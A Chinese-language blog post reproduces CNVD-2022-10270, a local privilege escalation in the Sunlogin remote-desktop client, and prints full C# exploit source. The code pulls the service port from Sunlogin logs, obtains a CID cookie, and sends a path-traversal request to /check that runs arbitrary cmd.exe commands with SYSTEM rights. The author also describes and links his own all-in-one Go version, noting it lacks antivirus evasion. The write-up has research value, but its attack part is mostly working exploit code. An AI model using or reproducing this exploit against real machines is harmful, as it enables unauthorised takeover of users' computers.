根据玄武实验室的文章
https://github.com/Ryze-T/CNVD-2022-10270-LPE
找到目标日志文件
cd /d c:/
dir /S sunlogin_service*
向日葵日志文件
sunlogin_service.20220226-171345.log
复现
安装.NET 4
https://www.microsoft.com/zh-cn/download/details.aspx?id=17718
在运行,发现需要指定路径路径,而我在win7下目录为
C:\ProgramData\Oray\SunloginClient\log
和默认不同所以需要自己指定(注意这里不带log)
sunloginLPE.exe whoami C:\ProgramData\Oray\SunloginClient
代码分析
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Text.RegularExpressions;
using System.Net;
namespace sunloginLPE
{
internal class Program
{
static string GetLatestFiles(string Path, int count)
{
var query = (from f in Directory.GetFiles(Path)
let fi = new FileInfo(f)
orderby fi.CreationTime descending
select fi.FullName).Take(count);
string[] files = query.ToArray();
for (int i = 0; i < files.Length; i++)
{
if (files[i].Contains("sunlogin_service."))
{
return files[i];
}
}
Console.WriteLine("[-] logFile not found");
return "";
}
static string getPort(string path)
{
string logFile = GetLatestFiles(path + "\\log", 2);
string port = "";
string s;
if (logFile != "")
{
FileStream fs = new FileStream(logFile, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
StreamReader sr = new StreamReader(fs, System.Text.Encoding.Default);
s = sr.ReadToEnd();
string pattern = @"\bstart listen OK\S*\,";
string pattern2 = @"\d{5}";
string res = "";
MatchCollection mc = Regex.Matches(s, pattern);
foreach (Match m in mc)
res = m.Value;
MatchCollection mc2 = Regex.Matches(res, pattern2);
foreach (Match m2 in mc2)
port = m2.Value;
}
return port;
}
private static String HttpGet(string url, string requestData)
{
// 实例化请求对象
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + "?" + requestData);
request.Method = "GET";
request.ContentType = "text/html; charset=UTF-8";
// 实例化响应对象,获取响应信息
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream responseStream = response.GetResponseStream();
StreamReader sReader = new StreamReader(responseStream, Encoding.Default);
String result = sReader.ReadToEnd();
sReader.Close();
responseStream.Close();
return result;
}
private static String HttpGetWithCookie(string url, string requestData,string cookie)
{
// 实例化请求对象
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + "?" + requestData);
request.Method = "GET";
request.ContentType = "text/html; charset=UTF-8";
request.Headers.Add("Cookie", "CID=" + cookie);
// 实例化响应对象,获取响应信息
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream responseStream = response.GetResponseStream();
StreamReader sReader = new StreamReader(responseStream, Encoding.Default);
String result = sReader.ReadToEnd();
sReader.Close();
responseStream.Close();
return result;
}
static string exp(string SunloginClient_port,string ExecCmd)
{
String targetUrl = "http://127.0.0.1:" + SunloginClient_port + "/cgi-bin/rpc";
String response = HttpGet(targetUrl, "action=verify-haras");
string pattern = "verify_string\":\"(\\w+)?\"";
string cid = "";
MatchCollection mc = Regex.Matches(response, pattern);
foreach (Match m in mc)
cid = m.Value;
cid = cid.Replace("\"", "").Replace("verify_string:", "");
Console.WriteLine("[+] CID=" +cid);
targetUrl = "http://127.0.0.1:" + SunloginClient_port + "/check";
response = HttpGetWithCookie(targetUrl, "cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows\\system32\\cmd.exe+/c+" + ExecCmd.Replace(" ","+"),cid);
return response;
}
static void Main(string[] args)
{
Console.WriteLine("[!] Usage: sunloginLPE.exe Cmd [sunloginClientPath](DefaultPath = C:\\Program Files\\Oray\\SunLogin\\SunloginClient)");
string defaultPath = "C:\\Program Files\\Oray\\SunLogin\\SunloginClient";
string cmd = "";
string path = defaultPath;
string port = "";
if(args.Length == 1)
{
cmd = args[0];
}
else if(args.Length == 2)
{
cmd=args[0];
path =args[1];
}
else
{
Console.WriteLine("[-] wrong number of parameters");
System.Environment.Exit(0);
}
try
{
port = getPort(path);
if(port != "")
{
Console.WriteLine("[+] SunloginClient port is " + port);
}
else
{
Console.WriteLine("[-] SunloginClient port not found");
System.Environment.Exit(0);
}
Console.WriteLine("[+] 命令执行结果: \n" + exp(port, cmd));
}
catch(Exception ex)
{
Console.WriteLine("[-] " + ex.ToString());
}
}
}
}
在111行Main函数中写死了路径,如果出现目录不同需要提供第二个参数
string defaultPath = "C:\\Program Files\\Oray\\SunLogin\\SunloginClient";
所以程序其实只自动化了漏洞利用这一块,目录如果不是默认还是需要自己查询
- 猜测应该是因为直接去自动化查找文件可能会被杀毒拦截,需要进行免杀所以通用性不高就没写
go程序编写
所以自己用go写一个直接一条龙服务(但是不免杀!)
-
首先确定程序功能
- 查找进程查看是否存在向日葵进程(这里不确认进程名是否都一致)
- 寻找日志文件从中提取出端口信息
- 通过端口信息进行本地利用命令执行达到提权
-
确认传参
- 要执行的cmd命令
最后效果
总的来说
-
首先先通过获取进程列表来确定本地是否存在向日葵进程
-
如果存在就通过批处理寻找日志文件(自动化)
-
然后第二步获取最新日志文件
- 上面的程序直接调用 Directory.GetFiles方法通过创建时间来获取
- 而我是基于上一步的日志文件通过比对得出的结果
-
后续的凭证获取和命令执行还是一样
代码也放在了github,对于GO来说还是初学者,所以可能写的不是很好(尤其异常处理这一块还需要完善)
https://github.com/liangyueliangyue/sunlogin_rce
后记
因为是基于文件读取的前提进行命令执行,然后向日葵运行是在系统管理员权限,所以可以用来进行本地提权